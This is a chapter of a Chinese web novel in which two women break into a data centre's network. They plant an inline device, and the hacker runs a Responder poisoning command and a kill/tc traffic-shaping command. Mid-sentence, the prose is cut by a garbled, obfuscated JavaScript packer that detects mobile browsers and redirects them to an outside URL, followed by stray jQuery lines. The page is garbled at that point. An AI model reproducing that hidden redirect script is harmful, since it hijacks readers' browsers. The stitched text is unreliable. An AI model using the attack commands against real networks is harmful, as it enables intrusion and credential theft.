15. [Ghost] 幽灵 15
作品:《没头脑和不高兴》 太平洋数据中心,大堂。
午休时段的人流是最好的掩护。
在那副改装过的Meta眼镜的红外干扰下,大堂的安检闸机摄像头里只捕捉到了一团移动的白光。
没有警报。闸机像对待任何一个普通员工一样,对亓默放行了。
“进了。”
耳机里传来袁问的声音,带着一丝因为紧张而略显尖锐的颤音。
“别东张西望。去电梯间,按23楼。那是行政与外包混合办公区,安防级别比核心机房低,但网是通的。”
亓默没有说话,她只是扶了扶镜框,混在一群讨论午饭吃什么的白领中间,走进了电梯。
她走路的姿势很奇怪,那是为了骗过步态识别故意垫了块硬币。
亓默只是不知道,有人开心的盯着自己的灯泡脑袋。
“叮。”
23楼到了。
电梯门无声滑开。
脚下是吸音效果极佳的高级灰地毯,空气中弥漫着淡淡的咖啡味。这里是行政与外包混合办公区,虽然安防级别不如核心机房,但却是物理接入内网的最佳跳板。
亓默走出电梯。
她没有东张西望,步态平稳,脊背挺直,手里甚至像模像样地拿着一个文件夹,是刚才在大堂顺手拿的宣传册。
“左转……过两个工位……再右转。”
耳机里传来袁问的声音,急促、微喘,带着明显的紧张。
“尽头那间会议室是死角,监控拍不到门。”
亓默没说话,只是按照指令行进。
路过茶水间时,两个员工正在聊天。亓默极其自然地抬起手腕看表,脚步没有丝毫停顿,气场冷淡而疏离,那两人下意识地给她让了路。
只要你表现得像这里的老板,没人敢查你的工牌。
走廊尽头。
【Meeting Room B (会议室B)】
“快快快!进去!”袁问在耳机里催促,“趁现在没人!”
亓默没有急着推门。
她停在门口,看了一眼墙上的电子墨水屏预定系统。
屏幕显示当前状态为:Available(空闲)。
如果是袁问,大概早就冲进去了。
但亓默没有。
她从口袋里掏出那张顺手牵羊偷来的“运维经理”门禁卡。
滴。
她在电子屏的感应区刷了一下。
手指在触控屏上熟练操作:【即时预定】 -> 【时长:4小时】 -> 【会议主题:季度保密复盘(勿扰)】。
屏幕闪烁了一下,背景瞬间变成了醒目的红色。
状态变更为:Occupied(使用中)。
做完这一切,亓默才推门而入,反手落锁。
这才是专业。
这块红色的屏幕,比防盗门还要管用。它能挡住所有想要借用会议室的人,甚至是打扫卫生的阿姨。
“位置很好。”
亓默环顾四周,百叶窗拉得很严实。
她把那把顺来的椅子顶在门把手下,然后才不紧不慢地走到角落。
“线头在哪?”
“墙角,那台IP电话。”袁问的声音传来,“那个黑盒子……你记得怎么插吧?”
亓默蹲下身,把那台思科IP电话翻过来。
她没有像外行一样暴力拔线。她先观察了一下水晶头的卡扣,然后从袖口摸出一根回形针,轻轻一顶,网线无声脱落。
串联接入。
墙壁网口 -> 黑盒子 -> 电话机。
她甚至顺手整理了一下线缆,把那个丑陋的树莓派盒子用双面胶粘在了桌子底部的内侧。就算有人趴在地上看,一眼也看不到。
黑盒子上的LED灯闪烁了两下,变成了稳定的绿色。
“通了。”
亓默站起身,拍了拍手上的灰,拉过一把椅子坐在门边的死角里。
她摘下那副发烫的红外眼镜,放在桌上,然后从后腰摸出把手术刀,静静地放在手边。
“接下来的舞台是你的了。”
“但我提醒你,我的耐心和这间房的预定时间一样,是有限的。”
街对面,星巴克。
袁问看着屏幕上跳出的Connection Established(连接建立),长出了一口气。
手里那罐“零糖”魔爪已经被她捏得变了形。
刚才亓默在门口那一套行云流水的“刷卡锁房”操作,看得她一愣一愣的。
这就是特工吗?
相比之下,自己刚才只会喊‘快进去’,确实显得有点像个没见过世面的土包子。
“切,会开房了不起啊。”
袁问小声嘟囔了一句,以此掩饰自己的菜,“最后还不是得靠我敲代码。”
她活动了一下手指,眼神重新变得聚焦。
只要物理层通了,那就是她的主场。
“开始干活。”
袁问敲下回车,那台戴尔工作站的风扇开始呼啸。
Running Script: Internal_Recon.py (执行脚本:网络侦察)
运行脚本:内网侦察
第一步,常规动作:Netscan(网段扫描)。
她需要先搞清楚自己在哪,周围有哪些邻居。
屏幕上瞬间刷出一大片绿色的字符。
不得不说,三万块的电脑跑起脚本来就是快。
但很快,袁问的眉头就皱了起来。
“……奇怪。”
“怎么了?”耳机里传来亓默的声音。
“太专业了。”
袁问盯着扫描结果。
通常来说,企业内网就像一个乱糟糟的仓库,到处都是没打补丁的老旧服务器、开放端口的打印机、还有员工私自搭建的共享文件夹。
但这里……
这里干净得像个无尘室。
她扫到了域控制器(AD Server)。
OS: Windows Server 2022
Patch: Latest (版本包:最新)
Ports: 仅开放必要端口
她试着跑了一下 CVE 漏洞库匹配。
【Vulnerabilities Found: 0】(发现漏洞:0)
“这帮人是有多闲?”袁问骂了一句,“系统补丁打得比我脸都干净。”
没有漏洞,意味着她手里那些现成的攻击脚本全都成了废纸。
“别急,还有老办法。”
袁问咬着指甲,“打印机。再牛逼的公司,打印机也是软肋。”
她迅速锁定了网段里的一台大型复合机。
Pulling LDAP Config... (正在读取内部身份配置。)
只要能把打印机配置文件里的LDAP服务账号拉出来,她就能拥有一个合法的内网身份。
然而,三秒钟后。
【Access Denied】(拒绝访问)
【Error: Port Security Enabled】(错误:端口安全已启用)
这台打印机所在的交换机端口,做了MAC地址绑定和流量清洗。
除了打印指令,任何试图读取配置的操作都会被防火墙直接掐断。
袁问的手心开始冒汗了。
她又试了横向移动的几个经典工具。
【Blocked】(屏蔽)
【Blocked】
【Blocked】
屏幕上一片刺眼的红字。
这个内网被做了极其变态的微分段。
亓默所在的那个会议室网口,被死死地圈在了一个名为GUEST_VLAN的小笼子里。
她能上网,能打电话,就是去不了核心数据库。
时间一分一秒过去。
袁问感觉自己像是撞上了一堵看不见的墙。
她引以为傲的那些“网吧黑客技巧”,在这里就像是用牙签去撬银行的金库大门。
“说话。”
耳机里,亓默的声音依然冷静,但那种压迫感透过无线电波传了过来,“二十分钟过去了。你在发什么呆?”
“不行……过不去。”
袁问的声音带上了哭腔,那是老鼠被逼进死角后的绝望,也是对自己无能的羞愤。
“这地方有鬼。所有的路都被封死了,规则写得滴水不漏。”
袁问盯着屏幕上那个不停闪烁的光标。
她只有最后一条路了。
一条她本来不敢走、也不想走的脏路。
既然没有钥匙开门,那就把门炸开。
袁问眼中闪过一丝疯狂。
她关掉了那些精细的扫描工具,颤抖着手,输入了一行她原本绝对不想用的命令:
sudo responder -I eth0 -w -r -f
“姐……”
袁问咽了口唾沫,声音发紧。
“我要炸门了。”
“既然他们不让我过,我就向全网广播毒化。我要强制劫持他们的认证流量。”
“后果呢?”亓默问。
“后果就是……”
袁问看了一眼对面那栋沉默的黑色大楼,仿佛看到了一只巨兽正在苏醒。
“动静会非常大。就像在图书馆里扔了一颗震撼弹。”
“你会暴露。警报会响。你会变成靶子。”
“但这是唯一的办法。”
耳机里沉默了零点一秒。
没有指责,没有犹豫。
只有一声极其冷淡的:
“做。”
袁问的手指悬在回车键上,僵了一下。
做?
命都不要了?
正常人哪有这么淡定的。
果然。
你敢这么玩命,不是因为勇气可嘉,是因为你知道老邢不会杀自己人。
演得真像啊,亓默。
既然你们是一伙的,那我卖你的时候,可就一点心理负担都没有了。
“好……姐,那你小心。”
袁问吸了吸鼻子,声音带着颤抖的哭腔,演足了那份虚假的姐妹情深。
然后,她眼神一狠,重重敲下回车。
Responder启动。
毒化广播像瘟疫一样,顺着那根细细的网线,瞬间席卷了整个太平洋数据中心的内网。
地下三层,审计处。
巨大的环形屏幕上,原本平静的数据流突然炸开了。
就像是有人在平静的湖面扔进了一颗深水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068512|195178||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
炸弹。
[ALERT: Broadcast Storm Detected](警告:检测到网络广播风暴)
[Source: Guest VLAN/Meeting Room B] (源头:会议室B)
Auditor看着屏幕上那红得刺眼的流量峰值,非但没生气,反而被逗乐了。
“这就急了?”
他摇摇头,语气里满是对“没品位”的嫌弃。
“用Responder这种粗鲁的广播毒化……啧,就像是拿着大喇叭在图书馆里喊‘我是管理员,把你们的密码都给我’。”
“太吵了,小朋友。”
他的手指在键盘上敲击了几下。
他没有切断袁问的连接。相反,他把防火墙的口子撕得更大了一点。
“你想偷东西?好,我让你偷。”
Auditor看着另一侧的流量监控图。
那里显示,攻击源正在疯狂地从核心数据库里抽取文件。
紧接着,Auditor发现了一个更有趣的细节。
攻击源为了最大化下载速度,正在主动挤占同一条链路上的其他数据包。
那个被标记为Video_Stream(视频流)的进程,被攻击者强制降级、甚至掐断了。
“哇哦。”
Auditor吹了个口哨,眼神里闪过一丝真正的惊讶。
“为了下载快一点,居然把队友的‘眼睛’给挖了?”
“亓默啊亓默,你这次捡回来的不是老鼠,是一条白眼狼啊。”
“既然你这么贪心……”
Auditor嘴角的笑意变冷了。
他敲下回车。
“那我就送你个礼物。”
[Inject: Tracking_Beacon.exe] (注入:追踪信标)
[Protocol: LOCKDOWN] (协议:封锁)
“门关上了。现在,看看谁能跑得掉。”
街对面,星巴克。
袁问的手指已经快敲断了。
屏幕上,两个进度条正在疯狂赛跑。
左边:Downloading: K7_Archive.rar (正在下载:K7档案) —— 89%
右边:[WARNING] Intrusion Detected. Traceback Initiated... (警告:检测到入侵,逆向追踪启动)
倒计时15秒。
“快点……快点啊!”
那台戴尔工作站的风扇在咆哮,但速度还是不够快。
通道太拥挤了。
亓默那副Meta眼镜传回来的高清实时画面,占用了大量的上行带宽。
“滋——滋——”
耳机里传来亓默的声音,背景里已经有了急促的警报声和撞门声。
“袁问!怎么回事?门锁死了!”
“把门打开!保安已经到楼梯口了!”
袁问盯着那个卡在92%的下载进度条。
再过十秒,Auditor就会顺着网线抓到她的真实 IP。
如果现在分流算力去解那个该死的电子门禁,或者维持视频通话……
下载会掉速。
她可能拿不到完整的数据。
为了救你,让我少拿一秒钟的数据?
凭什么?
你是内鬼,你死不了。但我真的好奇太平洋这里到底有什么我父母的秘密。
袁问眼中闪过一丝狠戾。
她毫不犹豫地输入了一行指令:
kill -9 pid_video_stream (中断眼镜直播进程)
tc qdisc add dev eth0 root tbf rate 100mbit (流量整形:全速下载)
屏幕左上角,亓默的第一视角画面瞬间黑屏。
耳机里的声音也戛然而止。
世界清静了。
没了视频流的干扰,下载速度瞬间飙升。
95%...98%...100%!
“拿到了!”
袁问手疾眼快,一把拔下那个插在USB口上的PSSD硬盘。
以及……她没想到的“定时炸弹”。
就在这时。
电脑屏幕猛地一闪。
那个红色的倒计时归零了。
[SYSTEM ALERT]
[Traceplete. Location Found.] (系统警告:最总完成,位置锁定。)
袁问吓得手一抖。
她甚至来不及关机,直接粗暴地拔掉了网卡。
物理断网。
她看了一眼大楼的方向。
那里警铃大作,红光闪烁,像是一个巨大的、正在吞噬一切的黑洞。
而亓默,那个被她掐断了信号、锁死了大门的“姐姐”,现在就在那个黑洞的最深处。
“关我屁事……”
袁问把硬盘揣进内兜,抱着电脑,像个偷了东西的贼一样,推开店门冲进了人流。
“是你自己说让我跑的。”
她跑得飞快。
这一次,她没有回头。

